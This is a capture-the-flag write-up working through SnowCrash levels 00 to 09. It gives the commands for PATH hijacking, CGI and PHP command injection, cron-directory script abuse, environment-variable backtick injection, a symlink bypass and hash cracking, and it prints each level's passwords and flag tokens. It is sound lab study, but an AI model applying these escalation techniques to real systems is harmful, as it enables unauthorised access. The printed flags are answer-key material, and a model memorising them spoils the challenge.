# /dev/log for snowcrash
[Toc]
# Week 1
## Provisioning and level00
After some fails, I figured that the ISO given was for Mac OSX 64 bit and I launched to the following interface after booting.

I created an SSH tunnel and is able to connect through my local machine. I ran the getflag command expecting to get the flag, but looks like the challenge starts for 00 already

I ran a strings command on the getflags binary and here is what I get. I dont think this is anything useful.
```
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
__stack_chk_fail
strdup
stdout
fputc
fputs
getenv
stderr
getuid
ptrace
fwrite
open
__libc_start_main
GLIBC_2.4
GLIBC_2.0
PTRh@
QVhF
UWVS
[^_]
0123456
You should not reverse this
LD_PRELOAD
Injection Linked lib detected exit..
/etc/ld.so.preload
/proc/self/maps
/proc/self/maps is unaccessible, probably a LD_PRELOAD attempt exit..
libc
Check flag.Here is your token :
You are root are you that dumb ?
I`fA>_88eEd:=`85h0D8HE>,D
7`4Ci4=^d=J,?>i;6,7d416,7
<>B16\AD<C6,G_<1>^7ci>l4B
B8b:6,3fj7:,;bh>D@>8i:6@D
?4d@:,C>8C60G>8:h:Gb4?l,A
G8H.6,=4k5J0<cd/D@>>B:>:4
H8B8h_20B4J43><8>\ED<;j@3
78H:J4<4<9i_I4k0J^5>B1j`9
bci`mC{)jxkn<"uD~6%g7FK`7
Dc6m~;}f8Cj#xFkel;#&ycfbK
74H9D^3ed7k05445J0E4e;Da4
70hCi,E44Df[A4B/J@3f<=:`D
8_Dw"4#?+3i]q&;p6 gtw88EC
boe]!ai0FB@.:|L6l@A?>qJ}I
g <t61:|4_|!@IF.-62FH&G~DCK/Ekrvvdwz?v|
Nope there is no token here for you sorry. Try again :)
00000000 00:00 0
LD_PRELOAD detected through memory maps exit ..
;*2$"$
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.ctors
.dtors
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__CTOR_LIST__
__DTOR_LIST__
__JCR_LIST__
__do_global_dtors_aux
completed.6159
dtor_idx.6161
frame_dummy
__CTOR_END__
__FRAME_END__
__JCR_END__
__do_global_ctors_aux
getflag.c
end.3187
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
syscall_gets
__i686.get_pc_thunk.bx
data_start
ft_des
stderr@@GLIBC_2.0
strdup@@GLIBC_2.0
_edata
_fini
__stack_chk_fail@@GLIBC_2.4
getuid@@GLIBC_2.0
fwrite@@GLIBC_2.0
__DTOR_END__
getenv@@GLIBC_2.0
__data_start
syscall_open
puts@@GLIBC_2.0
__gmon_start__
__dso_handle
open@@GLIBC_2.0
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
stdout@@GLIBC_2.0
__bss_start
main
fputc@@GLIBC_2.0
afterSubstr
_Jv_RegisterClasses
isLib
fputs@@GLIBC_2.0
_init
ptrace@@GLIBC_2.0
level00@SnowCrash:~$ getflag
Check flag.Here is your token :
Nope there is no token here for you sorry. Try again :)
level00@SnowCrash:~$ clear
level00@SnowCrash:~$ strings /bin/getflag
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
__stack_chk_fail
strdup
stdout
fputc
fputs
getenv
stderr
getuid
ptrace
fwrite
open
__libc_start_main
GLIBC_2.4
GLIBC_2.0
PTRh@
QVhF
UWVS
[^_]
0123456
You should not reverse this
LD_PRELOAD
Injection Linked lib detected exit..
/etc/ld.so.preload
/proc/self/maps
/proc/self/maps is unaccessible, probably a LD_PRELOAD attempt exit..
libc
Check flag.Here is your token :
You are root are you that dumb ?
I`fA>_88eEd:=`85h0D8HE>,D
7`4Ci4=^d=J,?>i;6,7d416,7
<>B16\AD<C6,G_<1>^7ci>l4B
B8b:6,3fj7:,;bh>D@>8i:6@D
?4d@:,C>8C60G>8:h:Gb4?l,A
G8H.6,=4k5J0<cd/D@>>B:>:4
H8B8h_20B4J43><8>\ED<;j@3
78H:J4<4<9i_I4k0J^5>B1j`9
bci`mC{)jxkn<"uD~6%g7FK`7
Dc6m~;}f8Cj#xFkel;#&ycfbK
74H9D^3ed7k05445J0E4e;Da4
70hCi,E44Df[A4B/J@3f<=:`D
8_Dw"4#?+3i]q&;p6 gtw88EC
boe]!ai0FB@.:|L6l@A?>qJ}I
g <t61:|4_|!@IF.-62FH&G~DCK/Ekrvvdwz?v|
Nope there is no token here for you sorry. Try again :)
00000000 00:00 0
LD_PRELOAD detected through memory maps exit ..
;*2$"$
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.ctors
.dtors
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__CTOR_LIST__
__DTOR_LIST__
__JCR_LIST__
__do_global_dtors_aux
completed.6159
dtor_idx.6161
frame_dummy
__CTOR_END__
__FRAME_END__
__JCR_END__
__do_global_ctors_aux
getflag.c
end.3187
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
syscall_gets
__i686.get_pc_thunk.bx
data_start
ft_des
stderr@@GLIBC_2.0
strdup@@GLIBC_2.0
_edata
_fini
__stack_chk_fail@@GLIBC_2.4
getuid@@GLIBC_2.0
fwrite@@GLIBC_2.0
__DTOR_END__
getenv@@GLIBC_2.0
__data_start
syscall_open
puts@@GLIBC_2.0
__gmon_start__
__dso_handle
open@@GLIBC_2.0
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
stdout@@GLIBC_2.0
__bss_start
main
fputc@@GLIBC_2.0
afterSubstr
_Jv_RegisterClasses
isLib
fputs@@GLIBC_2.0
_init
ptrace@@GLIBC_2.0
```
Ran an strace on the program with no args, still didnt find anything good.

Sudoing wont work either

Looks like the subject states that I need to run the program as flagXX user, which indicates that this might be a privellege escalation problem.
I checked `/etc/passwd` for any clues and I see this strange thing on the next user, ill keep note. But others than that, all the passwords seem protected

I tried running a `sudo -l` to list all the programs I can run, but looks like I got no luck

In that case, I guess I can find all the files created by me to acheive the same thing using `find / -user level00`
```
/dev/pts/0
/dev/tty1
find: `/etc/chatscripts': Permission denied
.
.
.
/proc/2592/coredump_filter
/proc/2592/io
find: `/root': Permission denied
find: `/sys/kernel/debug': Permission denied
find: `/tmp': Permission denied
find: `/var/cache/ldconfig': Permission denied
find: `/var/lib/php5': Permission denied
find: `/var/lib/sudo': Permission denied
find: `/var/spool/cron/atjobs': Permission denied
find: `/var/spool/cron/atspool': Permission denied
find: `/var/spool/cron/crontabs': Permission denied
find: `/var/tmp': Permission denied
find: `/var/www/level04': Permission denied
find: `/var/www/level12': Permission denied
find: `/rofs/etc/chatscripts': Permission denied
find: `/rofs/etc/ppp/peers': Permission denied
find: `/rofs/etc/ssl/private': Permission denied
find: `/rofs/home': Permission denied
find: `/rofs/root': Permission denied
find: `/rofs/var/cache/ldconfig': Permission denied
find: `/rofs/var/lib/php5': Permission denied
find: `/rofs/var/lib/sudo': Permission denied
find: `/rofs/var/spool/cron/atjobs': Permission denied
find: `/rofs/var/spool/cron/atspool': Permission denied
find: `/rofs/var/spool/cron/crontabs': Permission denied
find: `/rofs/var/tmp': Permission denied
find: `/rofs/var/www/level04': Permission denied
find: `/rofs/var/www/level12': Permission denied
```
Thats alot of files, Ill filter out the error texts by redirecting stderr to /dev/null ` find / -user level00 2>/dev/null`
```
/dev/pts/0
/dev/tty1
/proc/1814
/proc/1814/task
/proc/1814/task/1814
/proc/1814/task/1814/attr
/proc/1814/net
/proc/1814/attr
/proc/1815
/proc/1815/task
[...]
/proc/2672/sessionid
/proc/2672/coredump_filter
/proc/2672/io
```
This is what I got. Doesnt seem to have nothing special here, just process files and system files. I will do the same thing for the `flag00` user..
```
level00@SnowCrash:~$ find / -user flag00 2>/dev/null
/usr/sbin/john
/rofs/usr/sbin/john
level00@SnowCrash:~$
```
... and there are 2 files which can be read by us, intresting.
```
level00@SnowCrash:~$ file /usr/sbin/john
/usr/sbin/john: ASCII text
level00@SnowCrash:~$ file /rofs/usr/sbin/john
/rofs/usr/sbin/john: ASCII text
level00@SnowCrash:~$
```
They are both ASCII files, could they contain the password?
```
level00@SnowCrash:~$ cat /usr/sbin/john
cdiiddwpgswtgt
level00@SnowCrash:~$ cat /rofs/usr/sbin/john
cdiiddwpgswtgt
level00@SnowCrash:~$
```
Looks like we might have our password, lets try to login to flag00
```
level00@SnowCrash:~$ su flag00
Password:
su: Authentication failure
level00@SnowCrash:~$
```
Nope, its incorrect. Looks like this is an encrypted password. I went on https://www.dcode.fr/caesar-cipher to hopefully find a decryption and luckily, I managed to extract the plaintext from the caesar cipher

`nottoohardhere` is the password. I tried it and I'm in, launched getflag and I got my password `x24ti5gi3x0ol2eh4esiuxias`
```
level00@SnowCrash:~$ su flag00
Password:
Don't forget to launch getflag !
flag00@SnowCrash:~$ getflag
Check flag.Here is your token : x24ti5gi3x0ol2eh4esiuxias
flag00@SnowCrash:~$
```
## level01
I noticed the weird thing on `/etc/passwd` for this user during the last level, and Ill try to login with the weird string `42hDRfypTqqnw` for this one.
```
level01@SnowCrash:~$ su flag01
Password:
su: Authentication failure
level01@SnowCrash:~$
```
Nope, does not work. Ill need to do more research on what this is.
Upon googleing, the string included in /etc/passwd is the encrypted user password, and usually is stored in a more secure form in /etc/shadow following this format:

So our next step is to attempt to decrypt the password using one of the following formats.
It is not MD5 since the password is not 32 Characters long.
I dont think its blowfish because we need to get a seperate key for that (could be the username). It is not the SHA algorithms either because the length of the password does not meet the encryption results. So we are left with yescrypt
I did some google and there are people trying to crack yescrypt with john the ripper, so I gave it a go and installed it
```
wget https://www.openwall.com/john/k/john-1.9.0.tar.xz --no-check-certificate
tar -xvf john-1.9.0.tar.xz
cd john-1.9.0/src && make
```
I ran the program and got the plaintext password

The password turns out to be correct, and the flag is obtained `f2av5il02puano7naaf6adaaf`
```
level01@SnowCrash:/dev/shm/john-1.9.0$ su flag01
Password:
Don't forget to launch getflag !
flag01@SnowCrash:~$ getflag
Check flag.Here is your token : f2av5il02puano7naaf6adaaf
flag01@SnowCrash:~$
```
## level02
Upon logging in, I was greeted by a `level02.pcap` in my home directory. Something tells be we need to use wireshark for this..
I loaded the file into wireshark and followed the TCP stream which constructs the TCP message based on the frames and got this.

I tried c/p the string inside the password prompt, but the login failed. Looks like the `...` characters might be something else, I displayed the characters in hex, and got this..

This is what the client typed, and turns out the 7F is a delete character in ASCII, which might indicate a backspace. So the password became from `ft_wandr...NDRel.L0L` to `ft_waNDReL0L` by replacing the `.` with backspaces. I tried against the console and it works.
I got in and obtained the flag `kooda2puivaav1idi4f57q8iq`
```
level02@SnowCrash:~$ su flag02
Password:
Don't forget to launch getflag !
flag02@SnowCrash:~$ getflag
Check flag.Here is your token : kooda2puivaav1idi4f57q8iq
flag02@SnowCrash:~$
```
## level03
I went in and got greeted by an executable

The strings output are shown as below
```
level03@SnowCrash:~$ strings ./level03
/lib/ld-linux.so.2
KT{K
__gmon_start__
libc.so.6
_IO_stdin_used
setresgid
setresuid
system
getegid
geteuid
__libc_start_main
GLIBC_2.0
PTRh
UWVS
[^_]
/usr/bin/env echo Exploit me
;*2$"
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
/home/user/level03
/usr/include/i386-linux-gnu/bits
/usr/include/i386-linux-gnu/sys
level03.c
types.h
types.h
long long int
__uid_t
envp
/home/user/level03/level03.c
long long unsigned int
setresuid
setresgid
unsigned char
GNU C 4.6.3
argc
__gid_t
short unsigned int
main
short int
argv
...
```
Here is the file type
```
level03@SnowCrash:~$ file ./level03
./level03: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x3bee584f790153856e826e38544b9e80ac184b7b, not stripped
```
Could `/home/user/level03/level03.c` be a source code indicator?
Looks like the setuid and setgid bit is set, which means that we can execute this program as the user who created it, which is our flag03 user.
The possible way forward now is to make this program execute `getflag`, so it can return us the flag as said user
To find a way to execute programs inside the executable, i used `ltrace` to identify any system calls made by the program.
```
level03@SnowCrash:~$ ltrace ./level03
__libc_start_main(0x80484a4, 1, 0xbffff7f4, 0x8048510, 0x8048580 <unfinished ...>
getegid() = 2003
geteuid() = 2003
setresgid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0
setresuid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0
system("/usr/bin/env echo Exploit me"Exploit me
<unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
level03@SnowCrash:~$
```
Looks like it calls [system](https://man7.org/linux/man-pages/man3/system.3.html) to execute shell command `/usr/bin/env echo Exploit me`. Its quite weird that it calls to `env` first then `echo`
So it sets the current environment variables before calling echo. If I change the PATH variable to look for my own directory first, then whatever program that has the name `echo` will get executed. So thats what I did here.
```
export PATH=/dev/shm:$PATH
cp /bin/getflag /dev/shm
mv /dev/shm/getflag /dev/shm/echo
```
and once this is done, I re-executed level03 and got the flag `qi0maab88jeaj46qoumi7maus`
```
level03@SnowCrash:~$ ./level03
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus
level03@SnowCrash:~$
```
## level04
For level04, I was greeted with a perl script with the following contents
```
#!/usr/bin/perl
# localhost:4747
use CGI qw{param};
print "Content-type: text/html\n\n";
sub x {
$y = $_[0];
print `echo $y 2>&1`;
}
x(param("x"));
```
Here is the file type
```
level04@SnowCrash:~$ file level04.pl
level04.pl: setuid setgid a /usr/bin/perl script, ASCII text executable
```
since the setuid and setgid bits are enabled, means this is another privellege escallation gig, I will need to execute getflag inside this script somehow to get the flag.
Upon doing some research on what the script does, I figured that this script is meant to be run as a back end CGI, where we need to spin up a webserver to accept requests.
The program defines a subroutine 'x' which takes a parameter which needs to be named 'x' and concats it to the echo call. Not much I can elaborate here since I am not good with perl. Need to trial and error this.
Luckily, the ISO already has Apache installed and it is already running on port `4747`

I went port-forwarded the traffic and tried to adjust the x query parameter in my browser, and it does show me something as an output

Looks like the print command of the perl script will be run by the server since its surrounded in backticks. In bash, backticks are called **command substitution** in bash which spawn a subshell and captures the output of the command inside the backtick and returns it to the main shell
```
level04@SnowCrash:~$ echo ls
ls
level04@SnowCrash:~$ `echo ls`
level04.pl
level04@SnowCrash:~$
```
If this is the case, I should make the x parameter
```
x=`getflag`
```
To run the getflag program as flag04 user.
To do that, the following query is sent
```
http://localhost:4747/?x=`getflag`
```
And I got the following output, the flag is `ne2searoevaevoem4ov4ar8ap`

## level05
Upon reaching level05, there are no programs or files in the home directory, so I ran `find / -user flag05 2> /dev/null` to look for any files flag05 owns
And turns out, we got our files
```
level05@SnowCrash:~$ find / -user flag05 2> /dev/null
/usr/sbin/openarenaserver
/rofs/usr/sbin/openarenaserver
level05@SnowCrash:~$
```
The file contents are as follows
```bash=
#!/bin/sh
for i in /opt/openarenaserver/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
```
Which scans the `/opt/openarenaserver/` directory for files and executes everything that is executable inside with a time limit of 5 seconds for each process. The file is then deleted afterwards.
Gave it a sanity check and it works
```
level05@SnowCrash:/dev/shm$ ./openarenaserver
+ echo asdfx
asdfx
```
I tried to run getflag with it, but I had no luck.
when I tried to `ls -lah` the file, I noticed that there is something special in the permission bit:
```
-rwxr-x---+ 1 flag05 flag05 94 Mar 5 2016 /usr/sbin/openarenaserver
```
the + bit at the end of the permission bits means that there are additional permissions set by Access Control Lists (ACL). To get information on those permissions, one can use getfacl command
```
level05@SnowCrash:/dev/shm$ getfacl /usr/sbin/openarenaserver
getfacl: Removing leading '/' from absolute path names
# file: usr/sbin/openarenaserver
# owner: flag05
# group: flag05
user::rwx
user:level05:r--
group::r-x
mask::r-x
other::---
```
Nothing useful here it seems, the only implication i get from doing this is that I cant write to that file.
I was curious and also ran getfacl on the /opt/openarenaserver directory, and got something intresting...
```
# file: opt/openarenaserver/
# owner: root
# group: root
user::rwx
user:level05:rwx
user:flag05:rwx
group::r-x
mask::rwx
other::r-x
default:user::rwx
default:user:level05:rwx
default:user:flag05:rwx
default:group::r-x
default:mask::rwx
default:other::r-x
```
I tried changing the permissions of the directory, but it is not permitted
```
level05@SnowCrash:/dev/shm$ chmod -R 2777 /opt/openarenaserver
chmod: changing permiss ions of `/opt/openarenaserver': Operation not permitted
```
I also tried changing ownership of the script, but it was also not permitted
```
level05@SnowCrash:/opt/openarenaserver$ ls -lah
total 4.0K
drwxrwxr-x+ 2 root root 60 Oct 12 05:24 .
drwxr-xr-x 1 root root 60 Oct 12 03:51 ..
-rwxr-x---+ 1 level05 level05 94 Oct 12 05:24 openarenaserver
level05@SnowCrash:/opt/openarenaserver$ chown flag05 openarenaserver
chown: changing ownership of `openarenaserver': Operation not permitted
level05@SnowCrash:/opt/openarenaserver$
```
After a short break and I logged back in, I noticed that I have new mail

and upon reading it, I saw a crontab which runs the openarenaserver script every 2 minutes
```
level05@SnowCrash:~$ cat /var/mail/level05
*/2 * * * * su -c "sh /usr/sbin/openarenaserver" - flag05
```
This must be a clue, I made a script that echoes to a file and I waited for 2 minutes, eventually the script did get deleted and the contents did appear in the file I specified.
```
level05@SnowCrash:/opt/openarenaserver$ ls
test.sh
level05@SnowCrash:/opt/openarenaserver$ ls
test.sh
level05@SnowCrash:/opt/openarenaserver$ ls
test.sh
level05@SnowCrash:/opt/openarenaserver$ ls
level05@SnowCrash:/opt/openarenaserver$ cat /dev/shm/hello
asdfg
level05@SnowCrash:/opt/openarenaserver$
```
I replaced the contents of the script with getflag, and the file should have the programs output. And once the script runs and gets deleted, the output should have the flag `viuaaale9huek52boumoomioc`
```
level05@SnowCrash:/opt/openarenaserver$ ls
test.sh
level05@SnowCrash:/opt/openarenaserver$ ls
level05@SnowCrash:/opt/openarenaserver$ cat /dev/shm/hello
Check flag.Here is your token : viuaaale9huek52boumoomioc
level05@SnowCrash:/opt/openarenaserver$
```
## level06
Upon arriving at level06, I was greeted with 2 files, here are the enumeration results
```
level06@SnowCrash:~$ cat level06.php
#!/usr/bin/php
<?php
function y($m) { $m = preg_replace("/\./", " x ", $m); $m = preg_replace("/@/", " y", $m); return $m; }
function x($y, $z) { $a = file_get_contents($y); $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a); $a = preg_replace("/\[/", "(", $a); $a = preg_replace("/\]/", ")", $a); return $a; }
$r = x($argv[1], $argv[2]); print $r;
?>
level06@SnowCrash:~$ file level06
level06: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xaabebdcd979e47982e99fa318d1225e5249abea7, not stripped
level06@SnowCrash:~$
```
We have a php script file that supposedly is running on a server, and we have a CGI program which has setuid bit set.
I executed both the script and the program and looks like they have the same output. Could the executable be a compiled version of the php script?
```
level06@SnowCrash:~$ ./level06.php
PHP Notice: Undefined offset: 1 in /home/user/level06/level06.php on line 5
PHP Notice: Undefined offset: 2 in /home/user/level06/level06.php on line 5
PHP Warning: file_get_contents(): Filename cannot be empty in /home/user/level06/level06.php on line 4
level06@SnowCrash:~$ ./level06
PHP Warning: file_get_contents(): Filename cannot be empty in /home/user/level06/level06.php on line 4
level06@SnowCrash:~$
```
I took a look at the script file, and here is what the formatted version looks like
```php=
#!/usr/bin/php
<?php
function y($m) {
$m = preg_replace("/\./", " x ", $m);
$m = preg_replace("/@/", " y", $m);
return $m;
}
function x($y, $z) {
$a = file_get_contents($y);
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
$a = preg_replace("/\[/", "(", $a);
$a = preg_replace("/\]/", ")", $a);
return $a;
}
$r = x($argv[1], $argv[2]);
print $r;
?>
```
The script has a function called `y` which accepts 1 parameter, where it replaces all the `.` with ` x ` and all the `@` with ` y` from the input string and returns the replaced string.
The function `x` however takes 2 inputs, but only the first one is used. the first input should be a path to a file and its contents will be read and stored at the variable `a`
It then finds the pattern `[x (anything here)]` and runs `y(anything here from earlier)` to get the result which is used as a replacement for the file contents. The reason `y` gets executed is becase of the **e(execution) flag** after the regex. This tells the computer to excecute whatever is in the second parameter as PHP code.
The `x` function then replaces braces with parenthesis.
The thing is, the way `y` gets executed is by specifying a string in the second parameter. In Javascript, there is a way to inject varaibles straight into strings like so:
```
let test = `hello ${1 + 1}` // hello 2
```
We can also run functions in it like so:
```
let test = `hello ${some_func()}` // hello <output of some_func()>
```
We can do the same in PHP like so
```
$test = "hello ${1 + 1}" // hello 2
```
This feature is called **variable interpolation**. And instead of running php functions, php also allows us to run shell commands in variable interpolations using backticks. This feature is called **Execution operator**
```
$test = "hello ${`whoami`}" // hello your_user
```
So back to our function, we can use Execution operators and variable interpolation to execute commands in the `y(anything here from earlier)` step; which we want to acheive
```
y(${`getflag`})
```
To do so, we need to change the `[x (anything here)]` part so that the **second capture group** will batch whatever that we want the input to be on the `y()` call.
Hence, our input should be
```
[x ${`getflag`}]
```
After getting our input, we obtained our flag `wiok45aaoguiboiki2tuin6ub`
```
level06@SnowCrash:~$ ./level06 /dev/shm/input
PHP Notice: Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub
in /home/user/level06/level06.php(4) : regexp code on line 1
level06@SnowCrash:~$
```
## level07
I see a binary in the home folder, below are the enumeration results
```
level07@SnowCrash:~$ ls -lah
total 24K
dr-x------ 1 level07 level07 120 Mar 5 2016 .
d--x--x--x 1 root users 340 Aug 30 2015 ..
-r-x------ 1 level07 level07 220 Apr 3 2012 .bash_logout
-r-x------ 1 level07 level07 3.5K Aug 30 2015 .bashrc
-rwsr-sr-x 1 flag07 level07 8.6K Mar 5 2016 level07
-r-x------ 1 level07 level07 675 Apr 3 2012 .profile
level07@SnowCrash:~$ file level07
level07: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x26457afa9b557139fa4fd3039236d1bf541611d0, not stripped
level07@SnowCrash:~$
```
```
level07@SnowCrash:~$ ./level07
level07
level07@SnowCrash:~$ ltrace ./level07
__libc_start_main(0x8048514, 1, 0xbffff7f4, 0x80485b0, 0x8048620 <unfinished ...>
getegid() = 2007
geteuid() = 2007
setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
getenv("LOGNAME") = "level07"
asprintf(0xbffff744, 0x8048688, 0xbfffff4f, 0xb7e5ee55, 0xb7fed280) = 18
system("/bin/echo level07 "level07
<unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
level07@SnowCrash:~$
```
I noticed that the program calls getenv on LOGNAME which returns `level07` before echoing out the value. In bash, there are a way to execute commands inside the resolution of environment variables by using the same mechanism from level04
```
level07@SnowCrash:~$ export TEST="`echo asdf`"
level07@SnowCrash:~$ echo $TEST
asdf
```
I tried doing the following but it looks like it didnt work
```
level07@SnowCrash:~$ export LOGNAME=`/bin/getflag`
level07@SnowCrash:~$ ./level07
Check flag.Here is your token :
sh: 2: Syntax error: ")" unexpected
```
I realized something, the program also prints the string into the terminal. If I set the variable to
```
LOGNAME=`/bin/getflag`
```
before the execution, the program will execute on the action of setting of the variable; which will print out the wrong output. However, if I set the variable to
```
LOGNAME='`/bin/getflag`'
```
The echo will print the literal with the backticks, which will get executed by the `system` syscall which spawns a child shell instead. Take a look at the example.
```
level07@SnowCrash:~$ export LOGNAME=`whoami`
level07@SnowCrash:~$ ./level07
level07
level07@SnowCrash:~$ export LOGNAME='`whoami`'
level07@SnowCrash:~$ ./level07
flag07
level07@SnowCrash:~$
```
With the above information, I am able to get the flag `fiumuikeil55xe9cu4dood66h`
```
level07@SnowCrash:~$ export LOGNAME='`getflag`' && ./level07
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
level07@SnowCrash:~$
```
# Week 2
## level08
I was greeted by 2 files, here are the enumeration results
```
level08@SnowCrash:~$ ls
level08 token
level08@SnowCrash:~$ file token
token: regular file, no read permission
level08@SnowCrash:~$ file level08
level08: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xbe40aba63b7faec62e9414be1b639f394098532f, not stripped
level08@SnowCrash:~$ la -lah
total 28K
dr-xr-x---+ 1 level08 level08 140 Mar 5 2016 .
d--x--x--x 1 root users 340 Aug 30 2015 ..
-r-x------ 1 level08 level08 220 Apr 3 2012 .bash_logout
-r-x------ 1 level08 level08 3.5K Aug 30 2015 .bashrc
-rwsr-s---+ 1 flag08 level08 8.5K Mar 5 2016 level08
-r-x------ 1 level08 level08 675 Apr 3 2012 .profile
-rw------- 1 flag08 flag08 26 Mar 5 2016 token
```
Upon running the program with ltrace, here are the results
```
level08@SnowCrash:~$ ltrace ./level08 token
__libc_start_main(0x8048554, 2, 0xbffff7d4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("token", "token") = "token"
printf("You may not access '%s'\n", "token"You may not access 'token'
) = 27
exit(1 <unfinished ...>
+++ exited (status 1) +++
level08@SnowCrash:~$ ltrace ./level08 /dev/shm/token
__libc_start_main(0x8048554, 2, 0xbffff7c4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("/dev/shm/token", "token") = "token"
printf("You may not access '%s'\n", "/dev/shm/token"You may not access '/dev/shm/token'
) = 36
exit(1 <unfinished ...>
+++ exited (status 1) +++
level08@SnowCrash:~$
```
Im guessing it uses `strstr` to check the name of the file if it contains the string `token` and if it is, it will just print the error message. Other files are okay as seen below :
```
level08@SnowCrash:~$ ltrace ./level08 /dev/shm/test
__libc_start_main(0x8048554, 2, 0xbffff7c4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("/dev/shm/test", "token") = NULL
open("/dev/shm/test", 0, 014435162522) = 3
read(3, "sadf\n", 1024) = 5
write(1, "sadf\n", 5sadf
) = 5
+++ exited (status 5) +++
level08@SnowCrash:~$
```
My intuition tells me to make a soft link to that file with a different name, and call the program with the soft link. It didnt work however
```
level08@SnowCrash:~$ ln -s token /dev/shm/lala
level08@SnowCrash:~$ ./level08 /dev/shm/lala
level08: Unable to open /dev/shm/lala: Permission denied
level08@SnowCrash:~$ file /dev/shm/lala
/dev/shm/lala: broken symbolic link to `token'
level08@SnowCrash:~$ cat /dev/shm/lala
cat: /dev/shm/lala: No such file or directory
```
I also noticed that the program does not do any setuid calls before calling open.
After some searcing, I found out that for [sticky world writable directories like /run/shm](https://www.baeldung.com/linux/symlinks-permissions), symlinks can only be followed by who created it. So I made the symlink in some other location and it worked
The password to `flag08` is `quif5eloekouj29ke0vouxean`
```
level08@SnowCrash:~$ ln -s /home/user/level08/token /tmp/test && ./level08 /tmp/test
quif5eloekouj29ke0vouxean
level08@SnowCrash:~$
```
The flag of this level is `25749xKZ8L7DkSCwJkT9dyv6f`
```
level08@SnowCrash:~$ su flag08
Password:
Don't forget to launch getflag !
flag08@SnowCrash:~$ getflag
Check flag.Here is your token : 25749xKZ8L7DkSCwJkT9dyv6f
flag08@SnowCrash:~$
```
## level09
Here are the enumeration results
```
level09@SnowCrash:~$ ls
level09 token
level09@SnowCrash:~$ file *
level09: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x0e1c5a0dfb537112250e1c78d5afec3104abb143, not stripped
token: data
level09@SnowCrash:~$ cat token
f4kmm6p|=�p�n��DB�Du{��
level09@SnowCrash:~$
```
Upon running `ltrace` on the executable, it looks like it detects the attempt and warns us to not reverse this using `ptrace(PTRACE_TRACEME, 0, 0, 0)`.
```
level09@SnowCrash:~$ ltrace ./level09
__libc_start_main(0x80487ce, 1, 0xbffff7f4, 0x8048aa0, 0x8048b10 <unfinished ...>
ptrace(0, 0, 1, 0, 0xb7e2fe38) = -1
puts("You should not reverse this"You should not reverse this
) = 28
+++ exited (status 1) +++
level09@SnowCrash:~$
```
So I just executed the executable arguments to test
```
level09@SnowCrash:~$ ./level09 a
a
level09@SnowCrash:~$ ./level09 b
b
level09@SnowCrash:~$ ./level09 c
c
level09@SnowCrash:~$ ./level09 1
1
level09@SnowCrash:~$ ./level09 ab
ac
level09@SnowCrash:~$ ./level09 abc
ace
level09@SnowCrash:~$ ./level09 abcd
aceg
level09@SnowCrash:~$ ./level09 abcdef
acegik
```
On the surface, looks like the program iterates through the characters and does an ASCII rotation based on the current index of the iteration
```
input: abcde
a - index 0, ascii + 0, output a
b - index 1, ascii + 1, output c
c - index 2, ascii + 2, output e
d - index 3, ascii + 3, output g
e - index 4, ascii + 4, output i
output: acegi
```
I also saw a token file earlier, maybe if that file was encrypted with this mechanism, and I need to decrpypt the file in the same manner. I used `od -t u1` to get the files bytes in decimal so I can construct an array and iterate through it applying the decryption in python. The script can be made like so
```python=
# obtained from od -t u1
# last byte removed because its out of range
bytes = [102,52,107,109,109,54,112,124,61,130,127,112,130,110,131,130,68,66,131,68,117,123,127,140,137]
for x, byte in enumerate(bytes) :
bytes[x] -= x
print(''.join(chr(i) for i in bytes))
```
With the script created and ran, we are able to login to flag09 and get the flag `s5cAJpM8ev6XHw998pRWG728z`
```
